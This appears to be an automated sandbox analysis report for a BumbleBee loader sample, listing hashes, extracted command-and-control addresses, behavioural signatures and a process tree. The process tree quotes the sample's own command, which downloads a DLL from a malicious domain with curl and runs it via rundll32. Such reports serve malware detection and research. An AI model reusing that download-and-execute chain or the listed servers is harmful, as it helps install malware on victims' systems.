bumblebee | f6ff607f55b6c53b700e3c1a8a4230c01641111bfc09645ba54c75ca2b1587cd

Resubmissions

26-04-2023 15:07

230426-shf2xaca2v 10

20-04-2023 19:33

230420-x9zqjsbh82 10

Analysis

max time kernel
144s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
20-04-2023 19:33

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General

Target

doc_88BFNS_57.wsf
Size

192KB
MD5

d6d0f8cf0b9383802fd4868c2082017d
SHA1

16b03efbf2aa547ca308ae50d8673012844c52b9
SHA256

f6ff607f55b6c53b700e3c1a8a4230c01641111bfc09645ba54c75ca2b1587cd
SHA512

0e331aeef702394d3b04939f0755bdbbc79ac24e23cbf54fad51645da045b598ee4077ba629af1a5f1e833b062f92acd033fd718c41dedb27b5041199f449efb
SSDEEP

6144:rPYy39mm2+oVmcySJnfzKe1ZFmqRzgim/Ytix:TYy3Cdtn1Hw

Score

10^/10

bumblebee mc1904 trojan

Malware Config

Extracted

Family

bumblebee

Botnet

mc1904

146.70.155.82:443

149.3.170.179:443

103.175.16.150:443

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Blocklisted process makes network request 8 IoCs

flow	pid	Process
3	1948	WScript.exe
17	3724	rundll32.exe
29	3724	rundll32.exe
43	3724	rundll32.exe
44	3724	rundll32.exe
50	3724	rundll32.exe
53	3724	rundll32.exe
54	3724	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
3724	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3724	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 3244	1948	WScript.exe	87
PID 1948 wrote to memory of 3244	1948	WScript.exe	87
PID 3244 wrote to memory of 544	3244	cmd.exe	89
PID 3244 wrote to memory of 544	3244	cmd.exe	89
PID 3244 wrote to memory of 3724	3244	cmd.exe	90
PID 3244 wrote to memory of 3724	3244	cmd.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\doc_88BFNS_57.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/DiqLyFvy2N0LYrttmJnMIAadyzDl_bYhxQ~~/QdaQp4v9soc3yoFDOCHH_cpZg_ECJjHlNg~~/ --output nmohzblo.obh && if exist nmohzblo.obh rundll32 nmohzblo.obh,bYXjdERymsFY && del nmohzblo.obh
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\system32\curl.exe
    curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/DiqLyFvy2N0LYrttmJnMIAadyzDl_bYhxQ~~/QdaQp4v9soc3yoFDOCHH_cpZg_ECJjHlNg~~/ --output nmohzblo.obh
    3⤵
    PID:544
- - C:\Windows\system32\rundll32.exe
    rundll32 nmohzblo.obh,bYXjdERymsFY
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    PID:3724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\nmohzblo.obh

Filesize
1.4MB

MD5
adcfd6939319c09ad8cbef72a81944a5

SHA1
154c1f4bc247d79789ec7eaf0feb92ea0d932445

SHA256
d763681286d9d514420c27210746edd5bb9b563b626c0cdb2c61239292b86535

SHA512
4f4fb6e9d2c833d4335dc816fbac2b5d25d3b95fdd1dced1b795c5564d367dca533eb743842fcf31ae74563cba451ae55b226e44f05b4745613b8e6e50e010ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\nmohzblo.obh

Filesize
1.4MB

MD5
adcfd6939319c09ad8cbef72a81944a5

SHA1
154c1f4bc247d79789ec7eaf0feb92ea0d932445

SHA256
d763681286d9d514420c27210746edd5bb9b563b626c0cdb2c61239292b86535

SHA512
4f4fb6e9d2c833d4335dc816fbac2b5d25d3b95fdd1dced1b795c5564d367dca533eb743842fcf31ae74563cba451ae55b226e44f05b4745613b8e6e50e010ce

Download Submit
memory/3724-136-0x000002090B420000-0x000002090B581000-memory.dmp

Filesize
1.4MB

Download
memory/3724-137-0x000002090B420000-0x000002090B581000-memory.dmp

Filesize
1.4MB

Download
memory/3724-138-0x000002090B420000-0x000002090B581000-memory.dmp

Filesize
1.4MB

Download
memory/3724-139-0x0000020909930000-0x00000209099AA000-memory.dmp

Filesize
488KB

Download